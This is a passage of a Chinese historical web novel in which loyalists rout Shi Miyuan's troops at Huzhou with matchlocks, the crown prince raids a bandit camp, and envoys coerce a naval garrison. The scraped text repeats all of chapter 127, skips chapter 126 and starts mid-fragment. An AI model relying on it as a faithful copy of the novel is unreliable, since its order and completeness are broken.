现在听这太子跟前的人,如此夸赞自己,赶忙摆手“:可当不起,下官只是恪守本分而已,比起那些经天纬地之才,征谋沙场之辈,普通的不能再普通了。再者,这湖州本就不富裕,百姓生活困苦,靠打鱼为生者,多不胜数,没有让一方百姓富足,已经是才不堪大任。我若在做那贪鄙之事,还怎么有脸出门?而且下官乃是皇上任命,他史弥远何等样人,下官岂能不知?他说放人便放人,那这天下岂不是改姓史了?”
说到这,刘克庄接嘴道“:对了,前几日有渔民来报,说是有些人鬼鬼祟祟混进了城,跟踪了一阵,竟然不见了踪影,这些人,怕是史弥远派来的吧?我等还需早做准备,以防史弥远遣兵来攻才是。”
聊到这,华岳接口道“:刘兄,你且先走吧,我一人留在这湖州便可。”
刘克庄听华岳如此说,微微摇了摇头“:兄弟,莫急,我之所以迟迟不肯招呼你们离了这是非地,一则咱们在这里有兵有粮,坚守起来,十分容易,二则,这块地,乃是太子殿下亲自选择的根基,太子殿下没下命令前,我等岂可偷生而逃,丢了此处?三则,这湖州背湖靠山,地势险要,他史弥远即使派大军来攻,咱们也能坚持些时日。到时杨辉寻到殿下,与我们会合,在言撤退与否不迟!”
话说到这,刘克庄转过脸询问华岳道“:华兄弟,陈达兄弟在城外的东西,可都搬回了城内?”
华岳见问,忙答道“:经过一日忙碌,已经全都搬了回来,还请刘兄放心。”
刘克庄听了华岳之言,点了点头“:经过这一路来的劫难,我是越来越佩服太子殿下了,若非他事先给咱们留了这条后路,只怕现在我连个安身之处都没有。华兄弟,这陈达兄弟手里的东西,殿下很是看重,为了报答太子殿下的恩情,我等要好生守护这些东西,直至殿下消息传来为止。”
自打宋宇走后,这太子府内的一干事务,自然而然就都落到了刘克庄这位准大哥身上,
第一百二十五回 小诸葛失算 火铳队发威
而这刘克庄也没辜负宋宇期望,一直将府内事务打理得井井有条。期间还听从宋宇临行前吩咐,在府内招募了一批忠勇的死士,让华岳操练。
这次太子府被劫,也得亏了这些死士,以命相搏,才让几人坚持到了韩令辉来救。
除了招募死士,这刘克庄还请来了一位多年前的密友,不过已经派往了宋宇那边,而宋宇还不知道,自己身边现在正跟着一个响当当的人物,报出名来,能把他高兴的跳起来。
正在屋内众人闲聊的档口,湖州渔民潘丙潘壬兄弟走了进来“:知府大人,城外来了三千多朝廷官兵,被我等阻在了城外,那朝廷兵马头头,点名要知府大人出城相见,说是有话要讲。”
姜汝城一听禀报,眉头皱成了川字,开口说道“:不好,史弥远识破了老夫的技俩,派兵前来要人了。诸位且在屋内少歇,下官出去看看。”
听姜汝城这么一说,刘克庄立马站了起来“:我等与你一同前去,毕竟朝廷兵马又不认得我等,只是知道名字罢了。”言罢,刘克庄对华岳点了点头,两人一前一后,陪着姜汝城来到了南城门楼上。
上了城门楼,刘克庄向着城下一看,就见数千大宋御前步军,整齐的站立在护城河外,当先两个骑马的小将军,只听其中一个喊道“:姜汝城,我等乃是奉了朝廷意旨,来湖州捉拿钦命要犯,识相的,打开城门,放本将进去,或可保住你头上官帽。”
姜汝城见说,手扶城墙,向着下边那俩小将喊道“:你等可有朝廷圣旨?”
城下说话的那小将见说,从怀中摸出了一个黄布轴轴,吩咐一旁的兵士,绑上石块,扔上了城墙。姜汝城将黄布轴轴拿在手里,打开来一看,大吃一惊,对着刘克庄说道“:真如那人所说,这史弥远,已经将皇上软禁了,你瞅瞅,这圣旨上所盖的印玺,正是皇上的玉玺啊。现在史弥远已经将朝廷纳为掌中之物,我等当如何为之?”
华岳眉头一皱,大声回道“:史弥远豁国奸贼,华某当日没一剑刺死他,真个老天无眼啊!以至于今日此贼愈加变本加厉,无法无天。”
相比于华岳的激动,刘克庄却颇为冷静“:诸位,莫要急燥,现下城外兵马,才是重中之重。”言罢,刘克庄小声对着周围众人嘀咕了起来。
城下这俩将军,正是杨谷杨石两兄弟。杨谷见城上没了动静,很是纳闷,调侃道“:这群人,莫不是被咱们吓怕了?跑了?”
杨石同样深以为然,大声对着城上喊道“:你等休要惊恐,本将并非好杀之人,只待开了城门,本将拿了钦犯,绝对不会动城内一草一木。”
杨谷听杨石这么喊,急忙在旁说道“;哥,你莫不是傻了?说好了,城门一开,立马冲进城内,杀戮抢掠一番,要不然,咱兄弟两个岂不白来一趟?”
看来这俩兄弟之所以爽快的答应了史弥远,就是想趁火**,抢些美女财帛,发上一笔横财!
杨石见自己弟弟这么没大没小,敢指责自己,立马怒了,闷声呵斥道“:你懂个屁?你当我不想抢几个婆娘回去快活?我这叫用计!“
“:哥,我没读过书,你这算哪一计?”
“:笑里藏刀,我若不笑着说几句瞎话,好言安抚他们,他们岂会乖乖打开城门?”
“:哎呀!哥,还是你有文化,我今日算是长见识了。”
“:这才到哪?哥的计谋多着呢!只要他们打开城门,咱们便一拥而入,抢钱,抢粮,抢女人!男人割下首级,回去找史相请赏!这叫顺手牵羊!趁火**!既办了差事,又得了好处。两全其美!”
杨谷听完杨石一席话,直伸大拇哥“:哥,怪不得人都说你是诸葛孔明在世啊!”
杨石听了弟弟马屁,浑身舒畅无比,得意的说道“:那是自然,想那蜀汉,若是有哥哥我在,克复中原还不是易如反掌?“言罢,哈哈大笑。
就在这时,城上姜汝城回话了,只见姜汝城哆哆嗦嗦的趴着城墙,冲着下边喊道“:两位将军,此话当真?“
杨谷一听城上信了,更加佩服哥哥机智,也不待杨石回话,抢先眉飞色舞的大声喊道“:那是自然,想我等乃是大宋官军,正儿八经的仁义之师!可不是那些滥杀无辜的山野草寇,怎会糊弄你等?“
姜汝城也不知道是真信了,还是迫于无奈,只见他叹了口气“;唉...既然将军所率,乃是大宋的正义之师,下官便信了你们。“
语毕,姜汝城吩咐旁边几个小卒子“:速速打开城门,放下吊桥,迎接正义之师入城!”
杨谷杨石看着那缓缓放下的吊桥,慢慢洞开得城门,心里这个美啊:乖乖,早就听闻湖州鱼米之乡,貌美婆娘多如牛毛。这次,合当我们兄弟两个发财啊!
如此想着,只听‘吱呀呀’城门彻底大开了,杨石早就急不可耐了,当先大吼一声“;婆娘们,你们家相公,来接你们享福去喽!”
吼完,呀呀怪叫着领兵杀了进去。
城门上姜汝城一看这俩兄弟食言,竟然派兵冲了进来,并没感到意外,只见他嘴边浮起一丝冷冽“;来吧,就知道你们没安好心。”
城下杨谷杨石发财心切,少时冲进了城门内,四下打量,见周围没有兵丁,心中大喜,领着这三千步军,呼隆隆的冲进了城内。
哪知进城以后,没冲多远,就见千余米外,面前主道上,堵着数百个打扮普通之人。
杨谷杨石两兄弟,就觉得这群人十分奇怪,身后背着刀不用,却人人手里拿着一个管状物事,用那黑洞洞的管口瞄着面前冲过来的自己等人。两兄弟见此大惑不已,正要吩咐身后兵士,上前绞杀了这些不长眼的叼民。却见那群叼民中,一个似是头头之人将手中宝剑想着自己方向一指,大喝一声“;点火!”
两兄弟就见前边那群叼民手中的管状物什,腾起一阵白烟,随之传来一阵震耳欲聋的响声‘砰
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砰砰’。
声响像是打雷,待响过以后,跟随者杨谷杨石兄弟冲过来的前排兵丁,莫名其妙的躺倒了一大片。
两兄弟胯下马匹也失足倒地,将两人摔落在了地上,跌了个狗吃屎。两兄弟就这样趴在地上,惊恐的看向方才自己十分瞧不起的,那群叼民的方向。
就见那处白烟弥漫,辨不清底细。再看周围自己两人身旁,连人带马,躺倒了一片。“:哥,这是什么物事?响起来像打雷,莫名其妙吓死咱们周围这么多人?”
这杨谷,看不清火铳**伤敌,还以为周围这群人是被吓死的...
杨石此时也被吓得不轻,趴在地上直哆嗦,一改方才抢婆娘那股子猛劲儿,弱弱的应道“:想我小诸葛,阅美女无...啊!呸...是阅天下奇门兵器无数,这东西,却是听都没听过!该死的,姜汝城那厮,藏着如此神兵利器,竟然不上报朝廷,此时还竟敢骗我等入城!”
身前那队杨谷兄弟眼中的叼民,就是宋宇兄弟陈达操练的渔民,手中配了陈达这两个多月来努力的结果,百十条原始火铳。
而那手提宝剑,下令点火的,就是陈达。此时陈达见对面被扫倒一片,暂时被吓傻了,没有再组织兵力继续冲上来。
威风凛凛的将手中宝剑向前一指,大喝一声“;全军听令,换刀,冲上前去杀敌!”喊完,当先手提宝剑冲了出去。
杨谷杨石两人此时已经被身后士兵扶起,惊魂未定之余,见对方手持大刀,喊叫着冲了上了。忙推搡周围士兵“;上...快上...杀一个叼民,赏银十两!”
周围那些兵丁一听有赏金,齐齐看向了面前那些防护单薄的叼民,都是面露贪婪之色。
纷纷抽出腰间侍卫刀,迎着这群叼民杀了过去,两军相接,立马混战在一处,一时谁也未落下风。
杨石见此,心中稍定“:还好那日**太子府,这群贼人跑掉的,只有百十人,若非如此,我等只怕葬身此地了!”
哪知话音刚落,就见左边民房内杀出一票人,当先一人手提宝剑,文士打扮,出来后大喝一声“:太子兄弟刘克庄在此,贼人拿命来!”
喊完,刘克庄手提宝剑,冲着官军围护得杨谷兄弟杀了过去。
杨谷兄弟见此,赶忙吩咐周围兵丁,前去抵挡。却听右侧也传来一声大喊“:大宋指挥使韩令辉在此,贼子还不跪地求饶!”
两兄弟听了这声大喊,又赶忙转过头去看,就见右边民房内也杀出一票人,当先一个身着盔甲的将军,手拿**,左挑右刺,势不可挡奔着自己两兄弟冲了过来!
杨谷两兄弟彻底吓傻了,慌慌张张再次吩咐周围众人,抵挡了过去。
至此,两兄弟身边经过三次分兵抵挡,已经不足三百人了。
只见他俩相互递了个眼色,也不再理会周围那些为自己两人拼命得兵丁,领着身边三百多人,奔着尚未关闭的城门那处,撒腿就跑。
第一百二十七回 山贼攀亲戚 不是一家人
我们两兄弟觉得这是一份艰巨的事业,一份光荣的事业,一份脱离了低级趣味的事业,一份值得我们兄弟俩为之奋斗终生的事业!”
华岳一听这俩货又说混话,赶忙打住了他俩“;得得得!算我怕了你俩了。不过华某要谢谢你们两个。在华某将死之时,你们冒着被史弥远迁怒得危险,深入大牢相见,又花钱买通了牢卒,使得华某少受许多皮肉之苦,正所谓患难见真情,华某感激不尽。”
说到这,华岳对这俩人一抱拳,单膝跪在了地上。
俩人一见这个,立马吓坏了,赶忙搀起了华岳“;小师傅,你这不是折煞我们两个么。想今日我们两个的小命,还不是您放的?”
华岳被这俩人搀起,见这俩人还如往先一样亲近自己,便出口问道“:不知道临安,现在怎么样了?”
杨谷兄弟看了看华岳,又互相对视了一眼,知道华岳不是外人,自己两个也不需要隐瞒。
况且,自己两人如果不说,估计也走不出这湖州城了,想到此,只听喜欢臭屁的杨石答道“:现在临安已经被史相,啊不...是被史弥远那狗贼控制,除此之外,皇后姑姑已经被史弥远架空,同皇上一起软禁在凤凰别苑。可以说,现在史弥远这狗贼已经大权在握,除了名头,与皇帝一般无二了。”
听完俩兄弟的讲述,华岳心里这个恨哪!
转过头,焦躁得对着方才走过来,却一直默不作声在旁观看的刘克庄说道“;刘大哥,真如那宋慈所言,这史弥远,关起门做起了天子!”
刘克庄见华岳情绪有些失控,笑着劝慰道“:宋兄一向明察秋毫,独具慧眼,被他说中,也不奇怪。当日若非他到府中做客,警告我等门外来了好些身着便装的官军,我等只怕也逃不过那一劫了。兄弟,你现在也莫要焦躁,想这史弥远,他也不敢明着做那谋朝篡位之事。”
说到这,一旁杨石赶忙插嘴道“;是啊,小师傅,此人之言大善。史弥远虽则掌控朝局,做起了闭门天子,实则非常在乎名声,并未想要某朝篡位,而是要废了太子殿下,另立储君为帝!”
“:啊?立的谁人?”刘克庄一听大惊,赶忙追问道。
杨石见刘克庄追问,也不打秋风了,赶忙回道“;听史弥远说,是太祖十世孙,至于真假,那谁晓得?反正听我爹说,这史弥远是滥竽充数。那被立之人,不是傻,便是呆,被史弥远立来,不过是作为傀儡而已,至于真假,只有天晓得了!”
刘克庄听完杨石一番话后,感激的拱了拱手“:多谢阁下详言史弥远目的,刘某感激不尽。”
说道这,刘克庄凑到了华岳身边,小声在华岳耳边嘀咕了几句。
华岳听完刘克庄的悄悄话,皱了皱眉头,转头对着杨石两人说道“;两位,许久不见,本想把酒畅聊,不过现下两军交战,你我各为其主,华某也不便久留两位,想我华岳是个恩怨分明之人,你二人对我有恩,我不好杀你二人,不过你二人手下的兵马,却是不能放过。故而,两位且将兵马留下,人走吧。”语毕,背过身去,不想再看二人。
杨石两人听了,有喜有忧,喜的是可以回去了,忧得是,此次回去,兵马尽失,史弥远即使不责罚,他手下那些自命清高的文人士大夫,也会嚼舌根子,笑话鄙视自己两个武人。
但与做个阶下囚相比,两兄弟显然选择了自由。只见他俩对视一眼,随即向华岳抱拳道“:小师傅大恩大德,我二人没齿难忘。小师傅,且自珍重,我二人告辞了!”
告完别,杨谷兄弟两个又对着华岳磕了个响头,起身注视华岳背影片刻,这才依依不舍的转身向城外走去。
却听刘克庄突然说道“;两位且慢。”
边说着,边吩咐手下两个兵丁,去马厩牵来了两匹马,亲自交到了他二人手上,一脸严肃的说道“:两位,你们在这里见到了什么,希望能够忘了,毕竟,有些话一旦出口,会害**也说不定,另外,华兄弟不方便开口求你二人,我倒要开口求一求!”
那边湖州虚惊一场。六百里外,胡山一座山寨里。宋宇正骑在马上,打量着四周形同虚设的匪营栅栏,戏谑的摇了摇头:这群贼,还真是胆大啊,就凭这破山寨,破栅栏,鸡都关不住,还想抵抗朝廷兵马?
想到此,宋宇低头盯着跪在地上的一票草寇盘问“:啧啧!你们在这做山贼的,好生舒坦啊!大白天的,不出去**,却一个个光着屁股,在屋内搂着婆娘睡觉。这,是不是太过儿戏了?”
宋宇话音刚落,只见跪在宋宇面前的一个光屁股贼人舔着脸说道“:好汉爷爷饶命!”
“:滚蛋,我有那么老吗?合该你这孙子当贼,实在太没眼力见了!”宋宇一听这人喊自己爷爷,立马生气了,直接破口大骂了起来。
‘噗嗤’跟在宋宇身边的杨妙珍和孟英憋不住笑了出来。只听孟英说道“;殿下,你咋听不懂恭维话呢?他之所以喊您爷爷,其实不是说您老,他就是要表示对您的恭敬!”
哦?合着,宋人都是这么表示恭敬的。宋宇听了这个解释,才反过味来,不过毕竟脸皮够厚,丝毫没有我错了,我要道歉的意思,反倒是继续威严的质问那贼人道“:以后啊,见了人,别随便喊爷爷,万一对方不高兴,打你一顿,你犯得着吗你?”
那贼听了,吸了吸鼻子,一脸委屈的说道“:多谢小英雄提醒,以后小人在不敢乱喊了。另外,不知小英雄在哪高就?其实小人想告诉您,知府大人是在下的亲娘舅,看诸位打扮,小人想说,其实咱们是大水冲了龙王庙,一家人不认一家人了!”
听了这个,身旁孟英‘咯咯咯’得笑的越加欢实,边笑边指着那贼说道
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“:你这蠢贼,也是该死,你说殿下就想和你们借几件衣服穿穿,你倒好,认起了亲戚,你非要多说这句话作甚?”
那贼听了孟英之言,这才回过味来:殿下?他是宫里来的?想到此,这贼磕头如捣蒜“:殿下饶命,小人有眼无珠,信口胡言乱语,还请您高抬贵手,饶了小人这次。想小人辛辛苦苦抢些物事,最后还不都上交到了史相爷手里,还请您看在史相爷面上,把小人当个屁,放了吧!”
宋宇听了面前那人哭诉,又看了看旁边已经笑的快要背过气的孟英,一脸恨铁不成钢的摇了摇头“你也真是不死都对不起天下苍生的主,你说说,本来本太子来这,就是抢几件衣服,真没打算把你们怎样,而且本太子一直以为,草寇都是官府昏庸所致,不过,你今天倒让本太子大开眼界啊,合着你们这是一整套的生产链,你管**,你娘舅管向上链条式输送利益,史相爷是幕后金主。你们一层层的深入到我大宋的方方面面,让整个天下的老百姓都明白,我大宋**一家,我大宋暗无天日,我大宋得庙堂,就是你们无所不用其极聚敛财富的工具,是也不是?”
下边那草寇头头,现在已经满脑袋冒汗,在从嘴里蹦出最后几个字“:饶...饶...命!”后,‘噗通’一声吓得倒地昏**过去。
宋宇见此,也没觉得奇怪。毕竟这一路上这样一吓就蹿稀的玩应见的多了,一个个欺负老百姓都很牛逼,见了真正比他们横的,来要他命的,一个个都拉稀。
如此想着,宋宇对着身后孟珙等人吩咐道“:孟兄弟,扒了他们衣服,全都赶到一块,宰了,烧了,就别埋了!咱赶路要紧。”
吩咐完,领着几个姑娘,骑马转到了一片树荫下,静等孟珙等人收拾残局。
谢道清见宋宇嘟着嘴,一脸不开心的样子,温柔的凑上前“:殿下,有阳光的地方,就有黑暗。何必只看到一小片阴暗之地,就如此生气?”
“:我生气的是,这些人天生富贵,却仍是不要脸,对百姓,对天下,索取无度。他们的欲望,没有尽头吗?”
“:古人说欲壑难填,这是千古不变的道理。生于天地之间,生命短暂,谁不想要在这么短的时间里,得到更多呢?”
宋宇听到这里,长叹一口气“:哎...还好我大宋君子未曾死绝。尚有一群人在坚守做人的底线。我就怕,万一哪天君子绝种了,那天下,将会是无官不贪啊!想想都可怕,但愿我华夏子孙,不要生在那样的时代里!”
建康分道而行两日后,茫茫海上,一支船队正排列着整齐的队伍,行驶在波涛之中。
余阶与两个兄弟,王坚,吕文德,正立在主舰船头商讨对策,两日来的行军,已经让他们驶到距杭州湾不足百里,今日晚间,他们将会抵达临安设在杭州湾最外边的乍浦水营。
第一百二十七回 山贼攀亲戚 不是一家人
我们两兄弟觉得这是一份艰巨的事业,一份光荣的事业,一份脱离了低级趣味的事业,一份值得我们兄弟俩为之奋斗终生的事业!”
华岳一听这俩货又说混话,赶忙打住了他俩“;得得得!算我怕了你俩了。不过华某要谢谢你们两个。在华某将死之时,你们冒着被史弥远迁怒得危险,深入大牢相见,又花钱买通了牢卒,使得华某少受许多皮肉之苦,正所谓患难见真情,华某感激不尽。”
说到这,华岳对这俩人一抱拳,单膝跪在了地上。
俩人一见这个,立马吓坏了,赶忙搀起了华岳“;小师傅,你这不是折煞我们两个么。想今日我们两个的小命,还不是您放的?”
华岳被这俩人搀起,见这俩人还如往先一样亲近自己,便出口问道“:不知道临安,现在怎么样了?”
杨谷兄弟看了看华岳,又互相对视了一眼,知道华岳不是外人,自己两个也不需要隐瞒。
况且,自己两人如果不说,估计也走不出这湖州城了,想到此,只听喜欢臭屁的杨石答道“:现在临安已经被史相,啊不...是被史弥远那狗贼控制,除此之外,皇后姑姑已经被史弥远架空,同皇上一起软禁在凤凰别苑。可以说,现在史弥远这狗贼已经大权在握,除了名头,与皇帝一般无二了。”
听完俩兄弟的讲述,华岳心里这个恨哪!
转过头,焦躁得对着方才走过来,却一直默不作声在旁观看的刘克庄说道“;刘大哥,真如那宋慈所言,这史弥远,关起门做起了天子!”
刘克庄见华岳情绪有些失控,笑着劝慰道“:宋兄一向明察秋毫,独具慧眼,被他说中,也不奇怪。当日若非他到府中做客,警告我等门外来了好些身着便装的官军,我等只怕也逃不过那一劫了。兄弟,你现在也莫要焦躁,想这史弥远,他也不敢明着做那谋朝篡位之事。”
说到这,一旁杨石赶忙插嘴道“;是啊,小师傅,此人之言大善。史弥远虽则掌控朝局,做起了闭门天子,实则非常在乎名声,并未想要某朝篡位,而是要废了太子殿下,另立储君为帝!”
“:啊?立的谁人?”刘克庄一听大惊,赶忙追问道。
杨石见刘克庄追问,也不打秋风了,赶忙回道“;听史弥远说,是太祖十世孙,至于真假,那谁晓得?反正听我爹说,这史弥远是滥竽充数。那被立之人,不是傻,便是呆,被史弥远立来,不过是作为傀儡而已,至于真假,只有天晓得了!”
刘克庄听完杨石一番话后,感激的拱了拱手“:多谢阁下详言史弥远目的,刘某感激不尽。”
说道这,刘克庄凑到了华岳身边,小声在华岳耳边嘀咕了几句。
华岳听完刘克庄的悄悄话,皱了皱眉头,转头对着杨石两人说道“;两位,许久不见,本想把酒畅聊,不过现下两军交战,你我各为其主,华某也不便久留两位,想我华岳是个恩怨分明之人,你二人对我有恩,我不好杀你二人,不过你二人手下的兵马,却是不能放过。故而,两位且将兵马留下,人走吧。”语毕,背过身去,不想再看二人。
杨石两人听了,有喜有忧,喜的是可以回去了,忧得是,此次回去,兵马尽失,史弥远即使不责罚,他手下那些自命清高的文人士大夫,也会嚼舌根子,笑话鄙视自己两个武人。
但与做个阶下囚相比,两兄弟显然选择了自由。只见他俩对视一眼,随即向华岳抱拳道“:小师傅大恩大德,我二人没齿难忘。小师傅,且自珍重,我二人告辞了!”
告完别,杨谷兄弟两个又对着华岳磕了个响头,起身注视华岳背影片刻,这才依依不舍的转身向城外走去。
却听刘克庄突然说道“;两位且慢。”
边说着,边吩咐手下两个兵丁,去马厩牵来了两匹马,亲自交到了他二人手上,一脸严肃的说道“:两位,你们在这里见到了什么,希望能够忘了,毕竟,有些话一旦出口,会害**也说不定,另外,华兄弟不方便开口求你二人,我倒要开口求一求!”
那边湖州虚惊一场。六百里外,胡山一座山寨里。宋宇正骑在马上,打量着四周形同虚设的匪营栅栏,戏谑的摇了摇头:这群贼,还真是胆大啊,就凭这破山寨,破栅栏,鸡都关不住,还想抵抗朝廷兵马?
想到此,宋宇低头盯着跪在地上的一票草寇盘问“:啧啧!你们在这做山贼的,好生舒坦啊!大白天的,不出去**,却一个个光着屁股,在屋内搂着婆娘睡觉。这,是不是太过儿戏了?”
宋宇话音刚落,只见跪在宋宇面前的一个光屁股贼人舔着脸说道“:好汉爷爷饶命!”
“:滚蛋,我有那么老吗?合该你这孙子当贼,实在太没眼力见了!”宋宇一听这人喊自己爷爷,立马生气了,直接破口大骂了起来。
‘噗嗤’跟在宋宇身边的杨妙珍和孟英憋不住笑了出来。只听孟英说道“;殿下,你咋听不懂恭维话呢?他之所以喊您爷爷,其实不是说您老,他就是要表示对您的恭敬!”
哦?合着,宋人都是这么表示恭敬的。宋宇听了这个解释,才反过味来,不过毕竟脸皮够厚,丝毫没有我错了,我要道歉的意思,反倒是继续威严的质问那贼人道“:以后啊,见了人,别随便喊爷爷,万一对方不高兴,打你一顿,你犯得着吗你?”
那贼听了,吸了吸鼻子,一脸委屈的说道“:多谢小英雄提醒,以后小人在不敢乱喊了。另外,不知小英雄在哪高就?其实小人想告诉您,知府大人是在下的亲娘舅,看诸位打扮,小人想说,其实咱们是大水冲了龙王庙,一家人不认一家人了!”
听了这个,身旁孟英‘咯咯咯’得笑的越加欢实,边笑边指着那贼说道
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那贼听了孟英之言,这才回过味来:殿下?他是宫里来的?想到此,这贼磕头如捣蒜“:殿下饶命,小人有眼无珠,信口胡言乱语,还请您高抬贵手,饶了小人这次。想小人辛辛苦苦抢些物事,最后还不都上交到了史相爷手里,还请您看在史相爷面上,把小人当个屁,放了吧!”
宋宇听了面前那人哭诉,又看了看旁边已经笑的快要背过气的孟英,一脸恨铁不成钢的摇了摇头“你也真是不死都对不起天下苍生的主,你说说,本来本太子来这,就是抢几件衣服,真没打算把你们怎样,而且本太子一直以为,草寇都是官府昏庸所致,不过,你今天倒让本太子大开眼界啊,合着你们这是一整套的生产链,你管**,你娘舅管向上链条式输送利益,史相爷是幕后金主。你们一层层的深入到我大宋的方方面面,让整个天下的老百姓都明白,我大宋**一家,我大宋暗无天日,我大宋得庙堂,就是你们无所不用其极聚敛财富的工具,是也不是?”
下边那草寇头头,现在已经满脑袋冒汗,在从嘴里蹦出最后几个字“:饶...饶...命!”后,‘噗通’一声吓得倒地昏**过去。
宋宇见此,也没觉得奇怪。毕竟这一路上这样一吓就蹿稀的玩应见的多了,一个个欺负老百姓都很牛逼,见了真正比他们横的,来要他命的,一个个都拉稀。
如此想着,宋宇对着身后孟珙等人吩咐道“:孟兄弟,扒了他们衣服,全都赶到一块,宰了,烧了,就别埋了!咱赶路要紧。”
吩咐完,领着几个姑娘,骑马转到了一片树荫下,静等孟珙等人收拾残局。
谢道清见宋宇嘟着嘴,一脸不开心的样子,温柔的凑上前“:殿下,有阳光的地方,就有黑暗。何必只看到一小片阴暗之地,就如此生气?”
“:我生气的是,这些人天生富贵,却仍是不要脸,对百姓,对天下,索取无度。他们的欲望,没有尽头吗?”
“:古人说欲壑难填,这是千古不变的道理。生于天地之间,生命短暂,谁不想要在这么短的时间里,得到更多呢?”
宋宇听到这里,长叹一口气“:哎...还好我大宋君子未曾死绝。尚有一群人在坚守做人的底线。我就怕,万一哪天君子绝种了,那天下,将会是无官不贪啊!想想都可怕,但愿我华夏子孙,不要生在那样的时代里!”
建康分道而行两日后,茫茫海上,一支船队正排列着整齐的队伍,行驶在波涛之中。
余阶与两个兄弟,王坚,吕文德,正立在主舰船头商讨对策,两日来的行军,已经让他们驶到距杭州湾不足百里,今日晚间,他们将会抵达临安设在杭州湾最外边的乍浦水营。
第一百二十八回 大义和金银 哪个说服你
只听熟悉这一代地形与水军所在的王坚禀报道“:余兄弟,钱塘江外,依次分布着乍浦,海盐,澉浦三座水营,属殿前司直辖,总称殿前司水军。
每营统制一员,正副将三员,准备将一员。乃是史弥远的亲军,其中每营兵丁略有不同,海盐乃是三营之最,所辖兵丁三千余人。
另外两营约两千余人,目下澉浦水军七成都在咱们指挥之下,不过澉浦水营距离临安最近,要想去那里,需经过两道水军防地,而且史弥远知道澉浦势小,万一派兵屯驻,咱们去了那里,岂不是自投罗网?所以咱们若想从这三处登陆,若不好生思量一番,恐怕会被反将一军,偷鸡不成蚀把米啊。”
余阶听完王坚的讲述,皱眉思量片刻,这才抬头继续询问王坚道“:兄弟,若是和他们硬碰硬,咱们有几成胜算?”
王坚听了,立马摇头摆手“:余兄弟,此言大谬。海战不同陆战,海战战法单一不说,行动更是迟缓。如果双方船只相同,一旦开战,若是不出意外,九成情况下,拼的都是船只数量和水兵能力。就凭咱们手下这些船只,即使一营一营打过去,最终也剩不了几艘。更遑论登岸夺营了。”
余阶听完王坚分析,知道是自己外行了。再次陷入了沉思,许久才又眼前一亮“:王兄弟,这三营,与史弥远是何关系?”
“:余兄弟,那还用问?既是上下级,又是党羽关系。”王坚听余阶问起这个,立马回答道。
“:那兄弟你身为澉浦水营准备将,理应是史弥远一脉,却为何要帮助太子?由此可见,这临安三营,未必就是真心投靠史弥远。想我等来时,便和太子殿下商量好,要在此大肆动作,吸引史弥远注意力,好让殿下那边便宜行事。现今如若能兵不血刃,打着太子殿下旗号,劝降三营,史弥远察觉,必然派大军来攻,这...岂不正应了当初设想?”
王坚听完余阶之言,有些不太自信的说道“;余兄弟,你这话说的太过一厢情愿了,正所谓人心叵测,我王坚之所以会选择帮助殿下,乃是因为殿下相信我,再加上我与诸位一路走来,生死相依,这心哪怕是块石头,也都被你们这真情捂化了。再者,我入这澉浦水营时间尚短,按理说,我还算是淮东制置使赵奎赵大人的兵。赵大人向来忧国忧民,手下聚拢得,大多都是品格高洁的人物。但这三个水营的人,长时间为史弥远操控,又临京畿要地,只怕,轻易不会被人说服吧?”
余阶听到这,再次犹豫了。却听旁边吕文德沉声说道“;两位兄弟,你们说的,都有道理,不过吕某以为,余兄弟所言,差些意思。”
余阶俩人听了,齐声问道“:差哪了?”
吕文德笑着说道“:这三个水营,说白了,都是史弥远的下属。平素里,身为武职,也定然捞不到多少好处,只是为了保住职位,表面顺从他史弥远而已。吕某以为,我等当打着太子殿下大旗,拿上从襄阳带来的金银,大肆收买他们。再晓以利害,如此,吕某敢拿人头担保,三营必将伏地归顺。”
余阶俩人听了,对视一眼,只见王坚说道“:吕兄弟总算说到了点上。大义财帛,两道并驰,还怕世上无人不肯归附?“言罢,哈哈大笑。
话不多说,余阶三人立马商议了此间细节。随即指挥船队,奔着钱塘江口最外面的乍浦水营而去。
日落时分,已经抵达了乍浦水营不远处。趁着将黑的天色,余阶告别了守船得王坚,带着吕文德,驾着小舟,奔着乍浦水营驶去。
不出意外,刚一接近,便被水营巡弋船逮了个正着,几番解释之下,被带到了水营统制跟前。此时水营统制正在与营内一帮子将军饮酒。见到吕文德穿的乃是盔甲,疑惑的问道“:足下是?”
吕文德见这水营统制不问余阶,反倒问起自己,知道这统制是只看衣服不看人,误把自己当正主了。心想:这人糊涂,自己可不能糊涂。便一拱手,指着旁边余阶说道“:大宋太子府余伴读在此,你等真是瞎了狗眼!”
统制见这身着盔甲之人,如此介绍那书生打扮之人,定睛向着旁边的余阶看去,愣愣得问道“:你是太子府上之人?”
余阶并不因为自己穿的寒酸,便有低人一等的感觉。只见他像那日初见宋宇时一样,将头一昂,正色言道“:我乃太子结义兄弟,现任太子府伴读,姓余名阶是也。现下来你营中,乃是奉了太子手令,有事告知你等。”
话说到这,那统制突然出言打断了余阶,冲着屋内饮酒的将军们大喊“:诸位,史相要抓的人自己送上门来了,快将他们一并逮了,送到史相跟前邀功领赏!哈哈哈...”
只见那统制喊完,身边一同饮酒的将军立马起身就要拿下余阶等人。却见吕文德抽出腰间佩刀,霸气的向前一指磨刀霍霍的众人,大声喝道“:公然藐视太子,缉拿太子结义兄弟,你等莫不是活腻了?”
那统制见说,止住了笑声,轻蔑的指着吕文德答道“:你这厮,忒得不晓事理。难道不知这大宋姓史吗?”
话音一落,再次指挥愣在一旁的将军们动手。
见此,余阶冷声说道“:好,果然是我大宋的忠臣良将。既然如此,余某便不客气了。“
说到此,只听他一声大喝”:咱们手底下见真章吧!”喊完,‘刺啦’一声,撕开了长袍。
周围众人循声看去,只见余阶前胸上,绑满了火箭上的炮仗!而余阶撕开长袍后,也不迟疑,向前紧迈几步,猛然拿起了面前桌上油灯,比在胸口**引信处,冷声问道“:你们可认得余某胸前何物?”
屋子里的人全都是水军将领,怎么会不认得这物?此时一见这些炮仗,都是倒吸一口凉气。
尤其是那个统制
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,见到此景,转身就要向着厅外摸去。却听吕文德厉声喝斥“:都别动,这么多火箭的威力,想必诸位都知道,只要炸了,屋内的人,即使炸不死,也能烧残废。”
“:别激动,有话好好说,好好说,年轻人都火气大,您先消消气,其实抓你们那,那都是史弥远的吩咐,他使了钱了,咱合不着为了他史弥远和他手里那点银子,把命搭进去不是?”
想要逃跑的统制,听了这一声断喝,停下了脚步,苦口婆心的劝余阶道。
余阶见此,白了他一眼,对着旁边吕文德使了个眼色。吕文德见余阶眼色递来,会意地笑了笑,对着一块跟来的兄弟们喊道“:兄弟们,亮家伙!”
语毕,吕文德当先脱下了外袍,露出了腰间所盘的一条布袋。只见吕文德吃力的将布袋从腰间解了下来,清脆的金属碰撞声随之响起。
